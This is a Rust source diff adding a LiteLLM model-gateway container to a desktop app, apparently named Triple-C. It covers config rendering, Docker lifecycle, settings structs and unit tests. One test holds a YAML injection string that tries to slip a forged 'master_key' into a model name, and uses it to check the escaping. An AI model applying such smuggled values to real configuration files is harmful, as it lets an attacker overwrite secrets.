 const GATEWAY_LOCAL_IMAGE: &str = "triple-c-gateway:latest";
 const GATEWAY_DOCKERFILE: &str = include_str!("../../../../gateway-container/Dockerfile");
 const GATEWAY_DEFAULT_CONFIG: &str = include_str!("../../../../gateway-container/config.yaml");
 /// Where the generated config lands inside the container. Backed by
 /// [`GATEWAY_CONFIG_VOLUME`] so the file with the provider key lives in a
 /// Docker-managed volume rather than an image layer.
 const GATEWAY_CONFIG_DIR: &str = "/etc/litellm";
 const GATEWAY_CONFIG_PATH: &str = "/etc/litellm/config.yaml";
 /// Container-side port. Only the *host* port is user-configurable.
 const GATEWAY_INTERNAL_PORT: u16 = 4000;
 const CONFIG_FINGERPRINT_LABEL: &str = "triple-c.gateway.config-fingerprint";
 /// The value a project should use as its base URL (`ANTHROPIC_BASE_URL`).
 ///
 /// Project containers run on Docker's default bridge with no user-defined
 /// network and no `--add-host`, so the only address they share with the
 /// gateway is the host itself. Publishing the gateway on `0.0.0.0:<port>`
 /// makes it reachable from every container network on the machine:
 ///
 /// * Docker Desktop (macOS / Windows / WSL2) resolves `host.docker.internal`
 ///   from inside containers automatically — that is the portable value and the
 ///   one already suggested by the existing OpenAI-compatible placeholder text.
 /// * On native Linux Docker `host.docker.internal` is not injected, and the
 ///   equivalent address is the default bridge gateway, normally
 ///   `http://172.17.0.1:<port>`.
 pub fn gateway_base_url(port: u16) -> String {
    format!("http://host.docker.internal:{}", port)
 }
 fn sha256_hex(input: &str) -> String {
    let mut hasher = Sha256::new();
    hasher.update(input.as_bytes());
    format!("{:x}", hasher.finalize())
 }
 pub async fn get_gateway_status(settings: &GatewaySettings) -> Result<GatewayStatus, String> {
    let image_exists = super::image::image_exists(GATEWAY_REGISTRY_IMAGE)
        .await
        .unwrap_or(false)
        || super::image::image_exists(GATEWAY_LOCAL_IMAGE)
            .await
            .unwrap_or(false);
    let (container_exists, running) = match find_gateway_container().await? {
        Some((_, state, _)) => (true, state == "running"),
        None => (false, false),
    };
    Ok(GatewayStatus {
        container_exists,
        running,
        port: settings.port,
        image_exists,
        model_count: settings.valid_models().len(),
        has_api_key: secure::has_gateway_api_key(),
        base_url: gateway_base_url(settings.port),
    })
 }
 /// `(id, state, config fingerprint label)` for the gateway container, if any.
 async fn find_gateway_container() -> Result<Option<(String, String, String)>, String> {
    let docker = get_docker()?;
    let filters: HashMap<String, Vec<String>> = HashMap::from([(
        "name".to_string(),
        vec![format!("/{}", GATEWAY_CONTAINER_NAME)],
    )]);
    let containers = docker
        .list_containers(Some(ListContainersOptions {
            all: true,
            filters,
            ..Default::default()
        }))
        .await
        .map_err(|e| format!("Failed to list containers: {}", e))?;
    if let Some(container) = containers.first() {
        let id = container.id.clone().unwrap_or_default();
        let state = container.state.clone().unwrap_or_default();
        let fingerprint = container
            .labels
            .as_ref()
            .and_then(|l| l.get(CONFIG_FINGERPRINT_LABEL))
            .cloned()
            .unwrap_or_default();
        return Ok(Some((id, state, fingerprint)));
    }
    Ok(None)
 }
 // ─────────────────────────────────────────────────────────────────────────────
 // Config generation
 // ─────────────────────────────────────────────────────────────────────────────
 /// Render a YAML double-quoted scalar.
 ///
 /// Everything that reaches the config comes from user input (model names, base
 /// URLs, keys), so nothing may be interpolated raw — a stray `"` or newline
 /// would otherwise rewrite the document.
 fn yaml_str(value: &str) -> String {
    let mut out = String::with_capacity(value.len() + 2);
    out.push('"');
    for c in value.chars() {
        match c {
            '"' => out.push_str("\\\""),
            '\\' => out.push_str("\\\\"),
            '\n' => out.push_str("\\n"),
            '\r' => out.push_str("\\r"),
            '\t' => out.push_str("\\t"),
            c if (c as u32) < 0x20 => out.push_str(&format!("\\x{:02x}", c as u32)),
            c => out.push(c),
        }
    }
    out.push('"');
    out
 }
 /// The parts of the config that are safe to hash into a Docker label — i.e.
 /// everything except the two secrets, whose changes are tracked by the
 /// keychain rotation id instead.
 fn config_shape(settings: &GatewaySettings) -> String {
    let models: Vec<String> = settings
        .valid_models()
        .iter()
        .map(|m| format!("{}={}", m.name.trim(), m.model_id.trim()))
        .collect();
    format!(
        "provider={};api_base={};port={};models={}",
        settings.provider.trim(),
        settings.api_base.as_deref().unwrap_or("").trim(),
        settings.port,
        models.join(",")
    )
 }
 /// Render the LiteLLM config for the current settings.
 ///
 /// `api_key` and `master_key` come from the keychain. The returned string
 /// contains both — it goes straight into the Docker upload and must never be
 /// logged or surfaced.
 fn render_config(settings: &GatewaySettings, api_key: &str, master_key: &str) -> String {
    let provider = settings.provider.trim();
    let api_base = settings
        .api_base
        .as_deref()
        .map(str::trim)
        .filter(|s| !s.is_empty());
    let mut out = String::from(
        "# Generated by Triple-C — do not edit by hand; it is overwritten on every\n\
         # gateway (re)start from Settings → Model Gateway.\n\
         model_list:\n",
    );
    for model in settings.valid_models() {
        out.push_str(&format!("  - model_name: {}\n", yaml_str(model.name.trim())));
        out.push_str("    litellm_params:\n");
        out.push_str(&format!(
            "      model: {}\n",
            yaml_str(&format!("{}/{}", provider, model.model_id.trim()))
        ));
        out.push_str(&format!("      api_key: {}\n", yaml_str(api_key)));
        if let Some(base) = api_base {
            out.push_str(&format!("      api_base: {}\n", yaml_str(base)));
        }
    }
    out.push_str("general_settings:\n");
    out.push_str(&format!("  master_key: {}\n", yaml_str(master_key)));
    out.push_str("litellm_settings:\n");
    // Claude Code's Anthropic-format requests carry fields some providers
    // reject outright; dropping the unsupported ones is what lets the
    // translation survive across providers.
    out.push_str("  drop_params: true\n");
    out
 }
 /// Upload the rendered config into the container's config volume.
 ///
 /// Runs against a *created but not yet started* container, which is when the
 /// volume already exists but LiteLLM has not read anything from it.
 async fn upload_config(container_id: &str, config: &str) -> Result<(), String> {
    let docker = get_docker()?;
    let mut buf = Vec::new();
    {
        let mut archive = tar::Builder::new(&mut buf);
        let mut header = tar::Header::new_gnu();
        header.set_size(config.len() as u64);
        // World-readable: the upstream image may run LiteLLM as a non-root
        // user, and a root-owned 0600 file would simply be unreadable. The
        // secret is only exposed to the gateway container itself, which is
        // the one process that needs it.
        header.set_mode(0o644);
        header.set_cksum();
        archive
            .append_data(&mut header, "config.yaml", config.as_bytes())
            .map_err(|e| format!("Failed to build the gateway config archive: {}", e))?;
        archive
            .finish()
            .map_err(|e| format!("Failed to build the gateway config archive: {}", e))?;
    }
    let _ = buf.flush();
    docker
        .upload_to_container(
            container_id,
            Some(UploadToContainerOptions {
                path: GATEWAY_CONFIG_DIR,
                ..Default::default()
            }),
            buf.into(),
        )
        .await
        .map_err(|e| format!("Failed to upload the gateway config: {}", e))
 }
 // ─────────────────────────────────────────────────────────────────────────────
 // Lifecycle
 // ─────────────────────────────────────────────────────────────────────────────
 async fn create_gateway_container(
    settings: &GatewaySettings,
    fingerprint: &str,
 ) -> Result<String, String> {
    let docker = get_docker()?;
    // Local build first, then the pinned upstream image — same precedence as
    // the STT container.
    let image = if super::image::image_exists(GATEWAY_LOCAL_IMAGE)
        .await
        .unwrap_or(false)
    {
        GATEWAY_LOCAL_IMAGE.to_string()
    } else if super::image::image_exists(GATEWAY_REGISTRY_IMAGE)
        .await
        .unwrap_or(false)
    {
        GATEWAY_REGISTRY_IMAGE.to_string()
    } else {
        return Err(
            "Gateway image not found. Please pull or build the image first.".to_string(),
        );
    };
    let mut port_bindings = HashMap::new();
    port_bindings.insert(
        format!("{}/tcp", GATEWAY_INTERNAL_PORT),
        Some(vec![PortBinding {
            // Not loopback — project containers reach this through the host.
            // See `gateway_base_url`.
            host_ip: Some("0.0.0.0".to_string()),
            host_port: Some(settings.port.to_string()),
        }]),
    );
    let mut exposed_ports: HashMap<String, HashMap<(), ()>> = HashMap::new();
    exposed_ports.insert(format!("{}/tcp", GATEWAY_INTERNAL_PORT), HashMap::new());
    let host_config = HostConfig {
        port_bindings: Some(port_bindings),
        mounts: Some(vec![Mount {
            target: Some(GATEWAY_CONFIG_DIR.to_string()),
            source: Some(GATEWAY_CONFIG_VOLUME.to_string()),
            typ: Some(MountTypeEnum::VOLUME),
            ..Default::default()
        }]),
        init: Some(true),
        ..Default::default()
    };
    // Non-secret only. Labels are readable by anything on the host.
    let mut labels = HashMap::new();
    labels.insert(CONFIG_FINGERPRINT_LABEL.to_string(), fingerprint.to_string());
    labels.insert(
        "triple-c.gateway.port".to_string(),
        settings.port.to_string(),
    );
    labels.insert(
        "triple-c.gateway.provider".to_string(),
        settings.provider.trim().to_string(),
    );
    let config = Config {
        image: Some(image),
        // The upstream entrypoint (`docker/prod_entrypoint.sh`) execs
        // `litellm "$@"`. Passed explicitly so the pulled upstream image and
        // our locally built one behave identically.
        cmd: Some(vec![
            "--config".to_string(),
            GATEWAY_CONFIG_PATH.to_string(),
            "--host".to_string(),
            "0.0.0.0".to_string(),
            "--port".to_string(),
            GATEWAY_INTERNAL_PORT.to_string(),
        ]),
        exposed_ports: Some(exposed_ports),
        host_config: Some(host_config),
        labels: Some(labels),
        ..Default::default()
    };
    let options = CreateContainerOptions {
        name: GATEWAY_CONTAINER_NAME,
        ..Default::default()
    };
    let response = docker
        .create_container(Some(options), config)
        .await
        .map_err(|e| format!("Failed to create gateway container: {}", e))?;
    Ok(response.id)
 }
 pub async fn ensure_gateway_running(settings: &GatewaySettings) -> Result<GatewayStatus, String> {
    let docker = get_docker()?;
    if settings.valid_models().is_empty() {
        return Err(
            "The gateway has no models configured. Add at least one model in Settings."
                .to_string(),
        );
    }
    let api_key = secure::get_gateway_api_key()?
        .filter(|k| !k.trim().is_empty())
        .ok_or_else(|| {
            "No provider API key stored for the gateway. Add one in Settings.".to_string()
        })?;
    let master_key = secure::get_or_create_gateway_master_key()?;
    // Rotation id, not a hash of either secret — see `storage::secure`.
    let secret_version = secure::get_gateway_secret_version()?.unwrap_or_default();
    let fingerprint = sha256_hex(&format!(
        "{}|{}",
        config_shape(settings),
        secret_version
    ));
    if let Some((id, state, existing_fingerprint)) = find_gateway_container().await? {
        if existing_fingerprint == fingerprint {
            if state == "running" {
                return get_gateway_status(settings).await;
            }
            docker
                .start_container(&id, None::<StartContainerOptions<String>>)
                .await
                .map_err(|e| format!("Failed to start gateway container: {}", e))?;
            return get_gateway_status(settings).await;
        }
        // Config or a secret changed — recreate so the new config is uploaded.
        if state == "running" {
            docker
                .stop_container(&id, None::<StopContainerOptions>)
                .await
                .map_err(|e| format!("Failed to stop gateway container: {}", e))?;
        }
        docker
            .remove_container(
                &id,
                Some(RemoveContainerOptions {
                    force: true,
                    ..Default::default()
                }),
            )
            .await
            .map_err(|e| format!("Failed to remove gateway container: {}", e))?;
    }
    let id = create_gateway_container(settings, &fingerprint).await?;
    // Upload before the first start: LiteLLM reads the config once at boot.
    let rendered = render_config(settings, &api_key, &master_key);
    if let Err(e) = upload_config(&id, &rendered).await {
        // Don't leave a half-configured container behind for the next run to
        // mistake for a good one.
        let _ = docker
            .remove_container(
                &id,
                Some(RemoveContainerOptions {
                    force: true,
                    ..Default::default()
                }),
            )
            .await;
        return Err(e);
    }
    docker
        .start_container(&id, None::<StartContainerOptions<String>>)
        .await
        .map_err(|e| format!("Failed to start gateway container: {}", e))?;
    log::info!(
        "Model gateway started on port {} ({} model(s))",
        settings.port,
        settings.valid_models().len()
    );
    get_gateway_status(settings).await
 }
 pub async fn stop_gateway_container() -> Result<(), String> {
    let docker = get_docker()?;
    if let Some((id, state, _)) = find_gateway_container().await? {
        if state == "running" {
            docker
                .stop_container(&id, None::<StopContainerOptions>)
                .await
                .map_err(|e| format!("Failed to stop gateway container: {}", e))?;
        }
    }
    Ok(())
 }
 /// Ask the running gateway whether it is up. LiteLLM takes several seconds to
 /// boot, so "container running" and "gateway answering" are not the same thing.
 pub async fn check_gateway_health(port: u16) -> Result<bool, String> {
    let client = reqwest::Client::builder()
        .timeout(std::time::Duration::from_secs(5))
        .build()
        .map_err(|e| format!("Failed to build HTTP client: {}", e))?;
    match client
        .get(format!("http://127.0.0.1:{}/health/liveliness", port))
        .send()
        .await
    {
        Ok(response) => Ok(response.status().is_success()),
        Err(e) if e.is_connect() || e.is_timeout() => Ok(false),
        Err(e) => Err(format!("Gateway health check failed: {}", e)),
    }
 }
 pub async fn pull_gateway_image<F>(on_progress: F) -> Result<(), String>
 where
    F: Fn(String) + Send + 'static,
 {
    super::image::pull_image(GATEWAY_REGISTRY_IMAGE, on_progress).await
 }
 pub async fn build_gateway_image<F>(on_progress: F) -> Result<(), String>
 where
    F: Fn(String) + Send + 'static,
 {
    let docker = get_docker()?;
    let tar_bytes = create_gateway_build_context()
        .map_err(|e| format!("Failed to create gateway build context: {}", e))?;
    let options = BuildImageOptions {
        t: GATEWAY_LOCAL_IMAGE,
        rm: true,
        forcerm: true,
        ..Default::default()
    };
    let mut stream = docker.build_image(options, None, Some(tar_bytes.into()));
    while let Some(result) = stream.next().await {
        match result {
            Ok(output) => {
                if let Some(stream) = output.stream {
                    on_progress(stream);
                }
                if let Some(error) = output.error {
                    return Err(format!("Build error: {}", error));
                }
            }
            Err(e) => return Err(format!("Build stream error: {}", e)),
        }
    }
    Ok(())
 }
 fn create_gateway_build_context() -> Result<Vec<u8>, std::io::Error> {
    let mut buf = Vec::new();
    {
        let mut archive = tar::Builder::new(&mut buf);
        let mut dockerfile_header = tar::Header::new_gnu();
        dockerfile_header.set_size(GATEWAY_DOCKERFILE.len() as u64);
        dockerfile_header.set_mode(0o644);
        dockerfile_header.set_cksum();
        archive.append_data(
            &mut dockerfile_header,
            "Dockerfile",
            GATEWAY_DOCKERFILE.as_bytes(),
        )?;
        let mut config_header = tar::Header::new_gnu();
        config_header.set_size(GATEWAY_DEFAULT_CONFIG.len() as u64);
        config_header.set_mode(0o644);
        config_header.set_cksum();
        archive.append_data(
            &mut config_header,
            "config.yaml",
            GATEWAY_DEFAULT_CONFIG.as_bytes(),
        )?;
        archive.finish()?;
    }
    let _ = buf.flush();
    Ok(buf)
 }
 #[cfg(test)]
 mod tests {
    use super::*;
    use crate::models::gateway_settings::GatewayModel;
    fn settings() -> GatewaySettings {
        GatewaySettings {
            enabled: true,
            port: 4000,
            provider: "openai".to_string(),
            api_base: None,
            models: vec![
                GatewayModel {
                    name: "gpt-5.1".to_string(),
                    model_id: "gpt-5.1".to_string(),
                },
                // Half-filled rows must not reach the YAML.
                GatewayModel {
                    name: "  ".to_string(),
                    model_id: "gpt-4o".to_string(),
                },
            ],
        }
    }
    #[test]
    fn valid_models_skips_incomplete_rows() {
        assert_eq!(settings().valid_models().len(), 1);
    }
    #[test]
    fn render_config_composes_provider_and_model_id() {
        let yaml = render_config(&settings(), "sk-provider", "sk-master");
        assert!(yaml.contains("model_name: \"gpt-5.1\""));
        assert!(yaml.contains("model: \"openai/gpt-5.1\""));
        assert!(yaml.contains("api_key: \"sk-provider\""));
        assert!(yaml.contains("master_key: \"sk-master\""));
        assert!(yaml.contains("drop_params: true"));
        // The skipped row must be absent.
        assert!(!yaml.contains("gpt-4o"));
    }
    #[test]
    fn render_config_emits_api_base_only_when_set() {
        let mut s = settings();
        assert!(!render_config(&s, "k", "m").contains("api_base"));
        s.api_base = Some("https://example.test/v1".to_string());
        assert!(render_config(&s, "k", "m").contains("api_base: \"https://example.test/v1\""));
        // Blank is treated as unset rather than emitted as an empty URL.
        s.api_base = Some("   ".to_string());
        assert!(!render_config(&s, "k", "m").contains("api_base"));
    }
    #[test]
    fn yaml_str_escapes_injection_attempts() {
        let hostile = "a\"\nmaster_key: \"pwned";
        let quoted = yaml_str(hostile);
        assert!(quoted.starts_with('"') && quoted.ends_with('"'));
        // No raw newline can escape the scalar and start a new YAML key.
        assert!(!quoted[1..quoted.len() - 1].contains('\n'));
        assert!(quoted.contains("\\\""));
    }
    #[test]
    fn config_shape_excludes_secrets_and_tracks_changes() {
        let a = config_shape(&settings());
        let mut s = settings();
        s.models[0].model_id = "gpt-4.1".to_string();
        assert_ne!(a, config_shape(&s));
        assert!(!a.contains("sk-"));
    }
    #[test]
    fn base_url_points_at_the_host_not_loopback() {
        // A project container cannot reach the host's loopback interface.
        let url = gateway_base_url(4000);
        assert_eq!(url, "http://host.docker.internal:4000");
        assert!(!url.contains("127.0.0.1"));
    }
 }
@@ -2,9 +2,12 @@ pub mod client;
 pub mod container;
 pub mod image;
 pub mod exec;
 pub mod gateway;
 pub mod legacy_cleanup;
 pub mod stt;
 #[allow(unused_imports)]
 pub use gateway::*;
 #[allow(unused_imports)]
 pub use stt::*;
 #[allow(unused_imports)]
@@ -1,4 +1,5 @@
 mod auth_bridge;
 mod browser_view;
 mod commands;
 mod docker;
 mod install_helper;
@@ -126,6 +127,25 @@ pub fn run() {
                });
            }
            // Auto-start model gateway container if enabled in settings
            if settings.gateway.enabled {
                let gateway_settings = settings.gateway.clone();
                tauri::async_runtime::spawn(async move {
                    match docker::gateway::ensure_gateway_running(&gateway_settings).await {
                        Ok(status) => {
                            if status.running {
                                log::info!("Model gateway auto-started on port {}", gateway_settings.port);
                            } else {
                                log::warn!("Model gateway auto-start: container not running after ensure_gateway_running");
                            }
                        }
                        Err(e) => {
                            log::error!("Failed to auto-start model gateway container: {}", e);
                        }
                    }
                });
            }
            Ok(())
        })
        .on_window_event(|window, event| {
@@ -139,10 +159,14 @@ pub fn run() {
                    }
                    // Stop STT container
                    let _ = docker::stt::stop_stt_container().await;
                    // Stop model gateway container
                    let _ = docker::gateway::stop_gateway_container().await;
                    // Close all exec sessions
                    state.exec_manager.close_all_sessions().await;
                    // Release every host loopback port held by the auth bridge
                    state.auth_bridge.stop_all().await;
                    // Stop any browser-view proxies and in-container dashboards
                    browser_view::manager().stop_all().await;
                });
            }
        })
@@ -165,6 +189,10 @@ pub fn run() {
            // Auth bridge
            commands::auth_bridge_commands::set_auth_bridge_enabled,
            commands::auth_bridge_commands::get_auth_bridge_status,
            // Browser view (Playwright dashboard pane)
            browser_view::commands::set_browser_view_enabled,
            browser_view::commands::get_browser_view_status,
            browser_view::commands::check_browser_view_support,
            // Shared Claude Code auth token
            commands::auth_token_commands::acquire_claude_token,
            commands::auth_token_commands::submit_claude_token_code,
@@ -216,6 +244,17 @@ pub fn run() {
            commands::stt_commands::build_stt_image,
            commands::stt_commands::pull_stt_image,
            commands::stt_commands::transcribe_audio,
            // Model gateway (LiteLLM)
            commands::gateway_commands::get_gateway_status,
            commands::gateway_commands::start_gateway,
            commands::gateway_commands::stop_gateway,
            commands::gateway_commands::check_gateway_health,
            commands::gateway_commands::build_gateway_image,
            commands::gateway_commands::pull_gateway_image,
            commands::gateway_commands::set_gateway_api_key,
            commands::gateway_commands::clear_gateway_api_key,
            commands::gateway_commands::get_gateway_auth_token,
            commands::gateway_commands::regenerate_gateway_auth_token,
            // Container introspection (sessions / capabilities / scheduler)
            commands::inspect_commands::list_claude_sessions,
            commands::inspect_commands::resume_session_command,
@@ -1,5 +1,6 @@
 use serde::{Deserialize, Serialize};
 use super::gateway_settings::GatewaySettings;
 use super::project::{ClaudeCodeSettings, EnvVar};
 fn default_true() -> bool {
@@ -53,6 +54,23 @@ pub struct GlobalOllamaSettings {
    pub base_url: Option<String>,
    #[serde(default)]
    pub default_model_id: Option<String>,
    /// Global fallback for the `haiku` alias override. Blank means "use the
    /// resolved model id", which is what makes background Claude Code calls
    /// work against a server that only serves one model.
    #[serde(default)]
    pub default_haiku_model_id: Option<String>,
 }
 /// Global defaults for the llama.cpp (`llama-server`) backend.
 /// Mirrors [`GlobalOllamaSettings`]; used when the per-project field is blank.
 #[derive(Debug, Clone, Serialize, Deserialize, Default)]
 pub struct GlobalLlamaCppSettings {
    #[serde(default)]
    pub base_url: Option<String>,
    #[serde(default)]
    pub default_model_id: Option<String>,
    #[serde(default)]
    pub default_haiku_model_id: Option<String>,
 }
 #[derive(Debug, Clone, Serialize, Deserialize, Default)]
@@ -61,6 +79,8 @@ pub struct GlobalOpenAiCompatibleSettings {
    pub base_url: Option<String>,
    #[serde(default)]
    pub default_model_id: Option<String>,
    #[serde(default)]
    pub default_haiku_model_id: Option<String>,
 }
 #[derive(Debug, Clone, Serialize, Deserialize)]
@@ -82,6 +102,8 @@ pub struct AppSettings {
    #[serde(default)]
    pub global_ollama: GlobalOllamaSettings,
    #[serde(default)]
    pub global_llamacpp: GlobalLlamaCppSettings,
    #[serde(default)]
    pub global_openai_compatible: GlobalOpenAiCompatibleSettings,
    #[serde(default = "default_global_instructions")]
    pub global_claude_instructions: Option<String>,
@@ -102,6 +124,8 @@ pub struct AppSettings {
    #[serde(default)]
    pub stt: SttSettings,
    #[serde(default)]
    pub gateway: GatewaySettings,
    #[serde(default)]
    pub global_claude_code_settings: Option<ClaudeCodeSettings>,
 }
@@ -180,6 +204,7 @@ impl Default for AppSettings {
            custom_image_name: None,
            global_aws: GlobalAwsSettings::default(),
            global_ollama: GlobalOllamaSettings::default(),
            global_llamacpp: GlobalLlamaCppSettings::default(),
            global_openai_compatible: GlobalOpenAiCompatibleSettings::default(),
            global_claude_instructions: default_global_instructions(),
            global_custom_env_vars: Vec::new(),
@@ -190,6 +215,7 @@ impl Default for AppSettings {
            dismissed_image_digest: None,
            web_terminal: WebTerminalSettings::default(),
            stt: SttSettings::default(),
            gateway: GatewaySettings::default(),
            global_claude_code_settings: None,
        }
    }
@@ -0,0 +1,99 @@
 //! Settings and status for the **model gateway** — a LiteLLM proxy container
 //! Triple-C runs as a sibling of the project containers.
 //!
 //! Claude Code speaks only the Anthropic Messages API (`POST
 //! ${ANTHROPIC_BASE_URL}/v1/messages`). OpenAI has no such route, so an OpenAI
 //! key cannot drive Claude Code directly. The gateway exposes `/v1/messages`
 //! in Anthropic format and translates each call to the configured provider,
 //! which is what turns "OpenAI Compatible" from *bring your own proxy* into
 //! something Triple-C manages itself.
 //!
 //! Nothing secret lives in this module. The provider API key and the gateway's
 //! own master key are held in the OS keychain (see `storage::secure`); what is
 //! persisted to `settings.json` is only the non-secret shape of the config.
 use serde::{Deserialize, Serialize};
 /// LiteLLM's own default port, and the one the existing "OpenAI Compatible"
 /// placeholder text already suggests.
 pub fn default_gateway_port() -> u16 {
    4000
 }
 fn default_gateway_provider() -> String {
    "openai".to_string()
 }
 /// One entry of LiteLLM's `model_list`.
 ///
 /// `name` is the friendly handle a project puts in its model field — it is what
 /// Claude Code sends as the `model` of a `/v1/messages` request. `model_id` is
 /// the provider-side id. The gateway config composes them as
 /// `<provider>/<model_id>`, which is why the shape stays generic across
 /// providers instead of hard-coding OpenAI.
 #[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Default)]
 pub struct GatewayModel {
    /// Friendly name projects use (e.g. `gpt-5.1`).
    pub name: String,
    /// Provider-side model id (e.g. `gpt-5.1`).
    pub model_id: String,
 }
 #[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
 pub struct GatewaySettings {
    /// Auto-start the gateway container with the app.
    #[serde(default)]
    pub enabled: bool,
    /// Host port the gateway is published on.
    #[serde(default = "default_gateway_port")]
    pub port: u16,
    /// LiteLLM provider prefix — `openai`, `azure`, `gemini`, `groq`, …
    #[serde(default = "default_gateway_provider")]
    pub provider: String,
    /// Optional provider base URL override (Azure endpoints, proxies, …).
    #[serde(default)]
    pub api_base: Option<String>,
    /// Models the gateway should serve.
    #[serde(default)]
    pub models: Vec<GatewayModel>,
 }
 impl Default for GatewaySettings {
    fn default() -> Self {
        Self {
            enabled: false,
            port: default_gateway_port(),
            provider: default_gateway_provider(),
            api_base: None,
            models: Vec::new(),
        }
    }
 }
 impl GatewaySettings {
    /// Models with both fields filled in. Half-typed rows in the UI must not
    /// reach the generated YAML.
    pub fn valid_models(&self) -> Vec<&GatewayModel> {
        self.models
            .iter()
            .filter(|m| !m.name.trim().is_empty() && !m.model_id.trim().is_empty())
            .collect()
    }
 }
 /// What the settings UI needs to know about the gateway. Deliberately carries
 /// **no** secret: `has_api_key` is a boolean, not the key.
 #[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
 pub struct GatewayStatus {
    pub container_exists: bool,
    pub running: bool,
    pub port: u16,
    pub image_exists: bool,
    /// Number of fully-specified models in the current settings.
    pub model_count: usize,
    /// Whether a provider API key is present in the keychain.
    pub has_api_key: bool,
    /// The value a project should use for its base URL. See
    /// `docker::gateway::gateway_base_url`.
    pub base_url: String,
 }
@@ -1,9 +1,11 @@
 pub mod project;
 pub mod container_config;
 pub mod app_settings;
 pub mod gateway_settings;
 pub mod update_info;
 pub use project::*;
 pub use container_config::*;
 pub use app_settings::*;
 pub use gateway_settings::*;
 pub use update_info::*;
@@ -123,6 +123,8 @@ pub struct Project {
    pub backend: Backend,
    pub bedrock_config: Option<BedrockConfig>,
    pub ollama_config: Option<OllamaConfig>,
    #[serde(default, alias = "llama_cpp_config")]
    pub llamacpp_config: Option<LlamaCppConfig>,
    #[serde(alias = "litellm_config")]
    pub openai_compatible_config: Option<OpenAiCompatibleConfig>,
    pub allow_docker_access: bool,
@@ -137,6 +139,12 @@ pub struct Project {
    /// because toggling it changes nothing about the container itself.
    #[serde(default)]
    pub auth_bridge_enabled: bool,
    /// Opt in to the browser-view pane, which watches and takes over the
    /// browser Claude drives with Playwright inside the container. Purely
    /// host-side like `auth_bridge_enabled`, so it likewise has no
    /// container-recreation label.
    #[serde(default)]
    pub browser_view_enabled: bool,
    /// Use the shared, long-lived Claude Code OAuth token (from
    /// `claude setup-token`, held in the OS keychain) for this project instead
    /// of requiring its own `claude login`. Only consulted when `backend` is
@@ -191,8 +199,10 @@ pub enum ProjectStatus {
 /// - `Anthropic`: Direct Anthropic API (user runs `claude login` inside the container)
 /// - `Bedrock`: AWS Bedrock with per-project AWS credentials
 /// - `Ollama`: Local or remote Ollama server
-/// - `OpenAiCompatible`: Any OpenAI API-compatible endpoint (e.g., LiteLLM, vLLM, etc.)
+/// - `LlamaCpp`: A local or remote `llama-server` (llama.cpp)
-#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+/// - `OpenAiCompatible`: Any endpoint that speaks the Anthropic Messages API
 ///   (e.g. LiteLLM). See [`Backend::uses_custom_endpoint`].
 #[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq)]
 #[serde(rename_all = "snake_case")]
 pub enum Backend {
    /// Backward compat: old projects stored as "login" or "api_key" map to Anthropic.
@@ -200,6 +210,10 @@ pub enum Backend {
    Anthropic,
    Bedrock,
    Ollama,
    /// Serialises as `llama_cpp`; the aliases accept the spellings a
    /// hand-edited `projects.json` is likely to contain.
    #[serde(alias = "llamacpp", alias = "llama-cpp", alias = "llama.cpp")]
    LlamaCpp,
    #[serde(alias = "lite_llm", alias = "litellm")]
    OpenAiCompatible,
 }
@@ -210,6 +224,28 @@ impl Default for Backend {
    }
 }
 impl Backend {
    /// Whether this backend points Claude Code at a non-Anthropic HTTP endpoint
    /// via `ANTHROPIC_BASE_URL`.
    ///
    /// Those endpoints serve whatever model *they* were started with, so
    /// Claude Code's built-in `opus`/`sonnet`/`haiku`/`fable` aliases resolve to
    /// Anthropic model ids the server has never heard of. Every backend for
    /// which this returns `true` therefore gets the
    /// `ANTHROPIC_DEFAULT_*_MODEL` alias vars pinned to the configured model —
    /// see `docker::container::compute_model_aliases`.
    ///
    /// Bedrock is deliberately excluded: it talks to AWS, which does host the
    /// real Anthropic model ids, so Claude Code's own defaults are correct
    /// there. Anthropic is excluded for the same reason.
    pub fn uses_custom_endpoint(&self) -> bool {
        matches!(
            self,
            Backend::Ollama | Backend::LlamaCpp | Backend::OpenAiCompatible
        )
    }
 }
 /// How Bedrock authenticates with AWS.
 #[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
 #[serde(rename_all = "snake_case")]
@@ -248,27 +284,60 @@ pub struct BedrockConfig {
 }
 /// Ollama configuration for a project.
-/// Ollama exposes an Anthropic-compatible API endpoint.
+/// Ollama natively implements the Anthropic Messages API at `/v1/messages`.
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct OllamaConfig {
    /// The base URL of the Ollama server (e.g., "http://host.docker.internal:11434" or "http://192.168.1.100:11434")
    pub base_url: String,
    /// Optional model override (e.g., "qwen3.5:27b")
    pub model_id: Option<String>,
    /// Optional override for the model the `haiku` alias resolves to.
    /// Blank falls back to `model_id`. See [`Backend::uses_custom_endpoint`].
    #[serde(default)]
    pub haiku_model_id: Option<String>,
 }
 /// llama.cpp (`llama-server`) configuration for a project.
 ///
 /// `llama-server` natively implements the Anthropic Messages API at
 /// `POST /v1/messages` (plus `/v1/messages/count_tokens`), so Claude Code can
 /// talk to it directly through `ANTHROPIC_BASE_URL` — exactly like Ollama, with
 /// no translation shim.
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct LlamaCppConfig {
    /// The base URL of the llama-server instance. `llama-server`'s default
    /// listen port is 8080 (`--port PORT | port to listen (default: 8080)`).
    pub base_url: String,
    /// Optional model override. `llama-server` serves whatever model it was
    /// started with, so this is mostly the id Claude Code should *say* it is
    /// using — but it is also what the model aliases are pinned to.
    pub model_id: Option<String>,
    /// Optional override for the model the `haiku` alias resolves to.
    /// Blank falls back to `model_id`.
    #[serde(default)]
    pub haiku_model_id: Option<String>,
 }
 /// OpenAI Compatible endpoint configuration for a project.
-/// Routes Anthropic API calls through any OpenAI API-compatible endpoint
+///
-/// (e.g., LiteLLM, vLLM, or other compatible gateways).
+/// Despite the name (kept for backward compatibility with existing
 /// `projects.json` data), the endpoint must implement the **Anthropic Messages
 /// API** — Claude Code only ever speaks `POST /v1/messages`. Gateways such as
 /// LiteLLM expose an Anthropic-shaped route and work; a bare
 /// `/v1/chat/completions` server does not.
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct OpenAiCompatibleConfig {
-    /// The base URL of the OpenAI-compatible endpoint (e.g., "http://host.docker.internal:4000" or "https://api.example.com")
+    /// The base URL of the endpoint (e.g., "http://host.docker.internal:4000" or "https://api.example.com")
